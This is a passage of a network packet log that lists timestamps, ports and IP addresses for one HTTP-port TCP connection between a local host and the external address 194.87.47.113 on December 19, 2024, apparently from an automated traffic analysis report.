Dec 19, 2024 08:01:03.373536110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.373541117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.373573065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.373616934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.374490976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.374526978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.374562025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.374578953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.375377893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.375437021 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.375497103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.420026064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.502151966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.502206087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.502245903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.502324104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.502373934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.502413988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.502460003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.502466917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.502509117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.503384113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.503499985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.503535986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.503582954 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.504288912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.504349947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.504357100 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.504385948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.504627943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.505274057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.505311966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.505446911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.539169073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.539208889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.539244890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.539292097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.539378881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.539458990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.539493084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.539509058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.539537907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.540359974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.540460110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.540741920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.540791035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.540795088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.540831089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.540873051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.541696072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.541752100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.541786909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.541802883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.541827917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.542716026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.542771101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.542804956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.542808056 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.543592930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.543643951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.543663979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.543700933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.543747902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.544553041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.544606924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.544641018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.544683933 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.545691967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.545744896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.545757055 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.545780897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.545826912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.546459913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.546511889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.546545982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.546555042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.547414064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.547460079 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.547498941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.547533989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.547604084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.548363924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.548418045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.548450947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.548504114 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.549293995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.549348116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.549381971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.549396038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.549417973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.550273895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.550328016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.550362110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.550406933 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.551208973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.551258087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.551265001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.551300049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.551500082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.552217007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.552253008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.552289009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.552336931 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.553112984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.553167105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.553201914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.553214073 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.553241968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.554053068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.554137945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.554172993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.554193020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.554997921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.555043936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.555051088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.555087090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.555135012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.556056976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.556092978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.556128025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.556170940 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.556912899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.556972027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.556978941 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.557005882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.557044029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.557854891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.557910919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.557945013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.557998896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.558801889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.558845997 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.558857918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.558897018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.558985949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.559830904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.559869051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.559901953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.559947968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.560708046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.560798883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.561028004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.561105967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.561140060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.561182022 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.562057018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.562092066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.562108994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.562127113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.562170029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.563215971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.563250065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.563287020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.563334942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.563978910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.564014912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.564028978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.564050913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.564101934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.564858913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.564893961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.564929008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.564939022 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.565797091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.565849066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.565855980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.565885067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.565929890 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.566751957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.566807985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.566844940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.566858053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.567686081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.567730904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.567738056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.623142958 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.694289923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.694308043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.694322109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.694360971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.694634914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.694672108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.694696903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.694713116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.694741011 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.695571899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.695607901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.695620060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.695656061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.696537018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.696598053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.696618080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.696630955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.696667910 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.697484970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.697566032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.697607994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.731308937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.731353045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.731364965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.731414080 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.731751919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.731796980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.731801033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.731815100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.731844902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.732750893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.732805014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.732816935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.732855082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.733647108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.733673096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.733685017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.733701944 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.733726025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.734617949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.734652042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.734663010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.734739065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.735563993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.735608101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.735610962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.735624075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.735670090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.736509085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.736562014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.736573935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.736610889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.737507105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.737556934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.737585068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.737597942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.737639904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.738641024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.738662958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.738675117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.738723040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.739495993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.739506960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.739521027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.739543915 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.739576101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.740348101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.740410089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.740422964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.740451097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.741255045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.741302967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.741309881 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.741316080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.741347075 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.742199898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.742244005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.742259979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.742345095 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.743160963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.743186951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.743196964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.743200064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.743226051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.744105101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.744184017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.744195938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.744232893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.745048046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.745070934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.745083094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.745095968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.745125055 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.745999098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.746067047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.746140003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.746176004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.746931076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.746988058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.747000933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.747025967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.747323036 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.747915983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.747976065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.747987032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.748012066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.748862982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.748908043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.748919010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.748938084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.748955011 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.749795914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.749862909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.749876976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.749922037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.750737906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.750796080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.750807047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.750834942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.750866890 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.751703978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.751760960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.751771927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.751806974 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.752650976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.752732992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.752989054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.753019094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.753031969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.753067970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.754055977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.754098892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.754113913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.754113913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.754148006 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.754987955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.755002975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.755019903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.755055904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.755881071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.755914927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.755928040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.755935907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.755970001 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.756759882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.756819963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.756833076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.756870985 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.757761955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.757791042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.757798910 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.757808924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.757843971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.758811951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.758843899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.758857012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.758893013 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.760081053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.760147095 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.760199070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.810638905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.886713028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.886730909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.886745930 CET	80	49739	194.87.47.113	192.168.2.9
